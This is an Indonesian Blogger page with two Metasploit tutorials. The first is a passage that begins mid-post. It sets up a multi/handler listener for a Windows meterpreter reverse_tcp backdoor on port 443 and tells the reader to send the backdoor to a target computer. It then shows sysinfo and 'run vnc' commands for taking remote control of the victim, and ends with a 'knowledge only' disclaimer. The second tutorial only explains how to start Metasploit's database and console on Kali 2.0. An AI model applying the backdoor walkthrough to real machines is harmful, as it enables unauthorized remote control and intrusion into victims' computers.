href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi09odsNkpioL930lsoNPKfbLoOd6TL16ymiL4t9JiQ14negUc_aM9A4g5V2dNtdtT_ou6LxWeQmnbkg4UKiN9QXvT_FzvGHXpfbV34eX_wxqSAZ40lyv_HNsQchR6wSjMRrvSz3BNopEU/s1600/msfdb-init.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="msfconsole" border="0" height="122" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi09odsNkpioL930lsoNPKfbLoOd6TL16ymiL4t9JiQ14negUc_aM9A4g5V2dNtdtT_ou6LxWeQmnbkg4UKiN9QXvT_FzvGHXpfbV34eX_wxqSAZ40lyv_HNsQchR6wSjMRrvSz3BNopEU/s320/msfdb-init.jpg" title="Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0" width="320" /></a></div> <br /> Lalu ketikkan perintah-perintah dibawah ini<br /> <blockquote class="tr_bq"> use exploit/multi/handler<br /> set payload windows/meterpreter/reverse_tcp<br /> set LHOST 192.168.1.103<br /> set LPORT 443<br /> exploit</blockquote> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAbfKqlWYE_IRYFCGYe8e-ufbjuRKaAcM1SgjesfWF6CEFntSK0rTou4NLBmZLqnAS03sBKx9gHlAuUARD5FNcOvPvYD6ZLdi3H0f_brcwJRn34FQ0ePCdemjdemC5H7JyOgSJi6Xvj8w/s1600/exploit.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="exploit" border="0" height="205" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAbfKqlWYE_IRYFCGYe8e-ufbjuRKaAcM1SgjesfWF6CEFntSK0rTou4NLBmZLqnAS03sBKx9gHlAuUARD5FNcOvPvYD6ZLdi3H0f_brcwJRn34FQ0ePCdemjdemC5H7JyOgSJi6Xvj8w/s320/exploit.jpg" title="Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0" width="320" /></a></div> <br /> Isikan LHOST dan LPORT sesui dengan backdoor yang di buat di atas<br /> <br /> <div style="text-align: justify;"> Oke setelah semua selesai, tinggal kita kirim backdoor tersebut ke komputer target.</div> <div style="text-align: justify;"> Kurang lebih tampilan ketika backdoor dieksekusi oleh target akan  muncul cmd seperti di bawah ini, namun hanya sesaat dan otomatis akan tertutup</div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjusvizRm4sbaQbHbFyz7FcH6HPRciN9VIqk6Ucr5nim8LeGgtYced5W-3ewvYqXxNfJZBEFyn8AyEQhlw3v5j1Nf0E6wmoB4A2QCCG7fIiGpLsN3hT64iB35VMC9FKvhvkvH0V5DoTo5w/s1600/Run-Payload.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="payload di eksekusi" border="0" height="187" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjusvizRm4sbaQbHbFyz7FcH6HPRciN9VIqk6Ucr5nim8LeGgtYced5W-3ewvYqXxNfJZBEFyn8AyEQhlw3v5j1Nf0E6wmoB4A2QCCG7fIiGpLsN3hT64iB35VMC9FKvhvkvH0V5DoTo5w/s320/Run-Payload.jpg" title="Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0" width="320" /></a></div> <br /> Dan kita pun mendapatkan sesi meterpreter<br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgasgvxShMwKqPhOV1m14I-LORMJoNi2VTAFYl8arbGswhS7rRDdMWvZwv3m_3lZGrDvd9k6_x5krrVvUbtK42JlLqJTpbYj-bu2lqB6Uzasyz3QhyTL1ZUKPN8LGEO4BACjF01Z4fqRH8/s1600/meterpreter.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="sesi meterpreter terbuka" border="0" height="205" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgasgvxShMwKqPhOV1m14I-LORMJoNi2VTAFYl8arbGswhS7rRDdMWvZwv3m_3lZGrDvd9k6_x5krrVvUbtK42JlLqJTpbYj-bu2lqB6Uzasyz3QhyTL1ZUKPN8LGEO4BACjF01Z4fqRH8/s320/meterpreter.jpg" title="Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0" width="320" /></a></div> <br /> Perintah meterpreter untuk melihat informasi sistem target<br /> <blockquote class="tr_bq"> sysinfo</blockquote> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQqLJMH3dumX_PWANnv_GpYLNZE0vHbHjKQKmPTAVvVY3P6yeAfSuHxw6qRZT5I7EfpoOXxf6-JwbSPnHMfhQ6n6Uk2bfSj4KfonuO-FxhO3Lli6_uE-51fjxh6f9bpYoPbJZ4kndZPV8/s1600/sysinfo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="sysinfo" border="0" height="108" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQqLJMH3dumX_PWANnv_GpYLNZE0vHbHjKQKmPTAVvVY3P6yeAfSuHxw6qRZT5I7EfpoOXxf6-JwbSPnHMfhQ6n6Uk2bfSj4KfonuO-FxhO3Lli6_uE-51fjxh6f9bpYoPbJZ4kndZPV8/s320/sysinfo.jpg" title="Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0" width="320" /></a></div> <br /> Perintah meterptreter untuk remote desktop target<br /> <blockquote class="tr_bq"> run vnc</blockquote> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXpchfy-P0PogKRdC7MUmODlfbWa7pTD8zmzEd5QlvzqSRy5a171lnNaD_hx2hyphenhyphenEDwwbMr9okcIBnbftt0suqSf-iNSdpvwO3kUPNIqBMbBv79A-u1cenDxeYLklvvHLlAgECnQaSRPo0/s1600/run-vnc.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="run vnc" border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXpchfy-P0PogKRdC7MUmODlfbWa7pTD8zmzEd5QlvzqSRy5a171lnNaD_hx2hyphenhyphenEDwwbMr9okcIBnbftt0suqSf-iNSdpvwO3kUPNIqBMbBv79A-u1cenDxeYLklvvHLlAgECnQaSRPo0/s320/run-vnc.jpg" title="Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0" width="320" /></a></div> <div class="separator" style="clear: both; text-align: justify;"> <br /></div> <div class="separator" style="clear: both; text-align: justify;"> Oke, itu dulu yang bisa saya bagikan mengenai <b>Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0</b>. postingan ini di buat sebagai pengetahuan semata, segala penyalahgunaan dari postingan ini bukan tanggung jawab dari saya, Terima Kasih</div>

Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0

Halo teman-teman, kali ini saya akan membagikan percobaan yang saya lakukan yaitu tentang exploit windows dengan menggunakan Social Engiine...

Baca selengkapnya »

Cara Menjalankan Metasploit Framework di Kali Linux 2.0

<div style="text-align: justify;"> Banyak yang mengira menjalankan metasploit di kali linux 2.0 ini sama dengan versi Kali Linux yang sebelumnya. yaitu dengan menjalankan servcie postgresql dan service metasploit seperti di bawah ini<br /> <blockquote class="tr_bq"> service postgresql start<br /> service metasploit start</blockquote> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjv_ecBnYbFuoDgYEfTrpmyK1vVrnlKhwo09Felc6R2GjNtAfL-GjN6vqTTb8MWgWVfSQyjUZaUFRKKp9nftspK-vkjZ4t_eTUnx9H8HkIOHpPLJzY83cwE7uIzUkDryIYcj8lviHs21Tk/s1600/service-metasploit-start.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Failed to start metasploit.service: Unit metasploit.service failed to load: No such file or directory." border="0" height="86" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjv_ecBnYbFuoDgYEfTrpmyK1vVrnlKhwo09Felc6R2GjNtAfL-GjN6vqTTb8MWgWVfSQyjUZaUFRKKp9nftspK-vkjZ4t_eTUnx9H8HkIOHpPLJzY83cwE7uIzUkDryIYcj8lviHs21Tk/s320/service-metasploit-start.jpg" title="Failed to start metasploit.service: Unit metasploit.service failed to load: No such file or directory." width="320" /></a></div> <br /> Pada screenshot di atas ketika menjalankan service postgresql tidak muncul pesan sama sekali, dan ketika menjalankan service metasploit muncul pesan error seperti berikut:<br /> <blockquote class="tr_bq"> <b>Failed to start metasploit.service: Unit metasploit.service failed to load: No such file or directory.</b></blockquote> <div style="text-align: justify;"> Pesan error di atas sudah menjelaskan bahwa: <b>Gagal untuk memulai metasploit.service: Unit  metasploit.service gagal di buka: tidak ada file atau direktori.</b><br /> <b><br /></b></div> <div style="text-align: justify;"> Seperti yang di jelaskan pada website <a href="https://www.kali.org/releases/kali-linux-20-released/">www.kali.org</a>, karena terdapat perubahan dalam paket metasploit-framework yang ada di dalam Kali Linux 2.0. ada beberapa perubahan kecil dalam cara memulai Metasploit di Kali Linux 2.0. nah di bawah ini saya berikan cara untuk menjalankan Metasploit di Kali 2.0 Sana<br /> <br /> Pertama ketikkan</div> </div> <div style="text-align: justify;"> <blockquote class="tr_bq"> /etc/init.d/postgresql start</blockquote> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiy-_nFRHNcXLsNEA1tGpdo51ucl_cSoy6sEVOkX5H_kWd7aj0KDMMs5PLz6mW9fLA177PVTb4XE0s55AXtMJHV35Pn9L82UFK_ko3wo-QGuIbB-Wvz82fNBd_52d_U4QqkrMiIEGbODE4/s1600/postgresql-start.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="/etc/init.d/postgresql start" border="0" height="63" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiy-_nFRHNcXLsNEA1tGpdo51ucl_cSoy6sEVOkX5H_kWd7aj0KDMMs5PLz6mW9fLA177PVTb4XE0s55AXtMJHV35Pn9L82UFK_ko3wo-QGuIbB-Wvz82fNBd_52d_U4QqkrMiIEGbODE4/s320/postgresql-start.jpg" title="/etc/init.d/postgresql start" width="320" /></a></div> <br /> Perintah diatas adalah untuk menjalankan postgresql server<br /> <blockquote class="tr_bq"> msfdb init</blockquote> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7dMYPd1sfgD-d707C9281qcJ7zd-rVOwecXiA-uxjNFg5laxI_WBP4a8_NYI3GCGkCT1XE8vLEftWyvn7MYdVFgu_U88ytPl5-u_JP2_U5QFAT9fm2l4XE50U4dMFr_BGO3aYDQ1lXj0/s1600/msfdb-init.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="msfdb init" border="0" height="100" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7dMYPd1sfgD-d707C9281qcJ7zd-rVOwecXiA-uxjNFg5laxI_WBP4a8_NYI3GCGkCT1XE8vLEftWyvn7MYdVFgu_U88ytPl5-u_JP2_U5QFAT9fm2l4XE50U4dMFr_BGO3aYDQ1lXj0/s320/msfdb-init.jpg" title="msfdb init" width="320" /></a></div> <br /> Perintah diatas digunakan untuk menginisialisai database metasploit framework. perintah ini cukup diketikkan ketika pertama kali kita menjalankan metasploit<br /> <br /> Selanjutnya tinggal jalankan metasploit console<br /> <blockquote class="tr_bq"> msfconsole</blockquote> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgf0sv9S7ni1uTWz2WyvAOoR9l09670j-1-z-CffXgwaB6JWxCMTj9VT0R2rRtFISXWlDrjjlAHiyO-k8J5ZX_Uf_n4u-GL7jRMhdJRSrL713rdwCKrrXI23ubKFo916VoEF9EqBwXbmfs/s1600/msfconsole.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="msfconsole" border="0" height="218" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgf0sv9S7ni1uTWz2WyvAOoR9l09670j-1-z-CffXgwaB6JWxCMTj9VT0R2rRtFISXWlDrjjlAHiyO-k8J5ZX_Uf_n4u-GL7jRMhdJRSrL713rdwCKrrXI23ubKFo916VoEF9EqBwXbmfs/s320/msfconsole.jpg" title="Cara Menjalankan Metasploit Framework di Kali Linux 2.0" width="320" /></a></div> <br /> msfconsole terbuka tanpa error apapun, untuk mengecek status database gunakan perintah berikut<br /> <blockquote class="tr_bq"> db_status</blockquote> <table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody> <tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9VivZKamVWV_wSbAigBaE0O3Pdov8TGSKzQfwmLaQSBTL4WlrebCqAImGAKlQQSLrl0q7ivXwmyhpiCjnGzdShQCf5UuXAYdmTSTjCuj4QXIu4YJSP0W1WReghm7pXFsqN89rw8x7tq8/s1600/db_status.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img alt="db_status" border="0" height="25" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9VivZKamVWV_wSbAigBaE0O3Pdov8TGSKzQfwmLaQSBTL4WlrebCqAImGAKlQQSLrl0q7ivXwmyhpiCjnGzdShQCf5UuXAYdmTSTjCuj4QXIu4YJSP0W1WReghm7pXFsqN89rw8x7tq8/s320/db_status.jpg" title="db_status" width="320" /></a></td></tr> <tr><td class="tr-caption" style="text-align: center;">poststgresql connectec to msf</td></tr> </tbody></table> <div class="separator" style="clear: both; text-align: justify;"> Oke, sekian dulu tutorial mengenai <b>Cara Menjalankan Metasploit di Kali Linux 2.0</b> semoga bermanfaat. Terimakasih</div> sumber:<a href="https://www.kali.org/releases/kali-linux-20-released/" rel="nofollow" target="_blank">www.kali.org</a></div>

Cara Menjalankan Metasploit Framework di Kali Linux 2.0

Banyak yang mengira menjalankan metasploit di kali linux 2.0 ini sama dengan versi Kali Linux yang sebelumnya. yaitu dengan menjalankan ser...

Baca selengkapnya »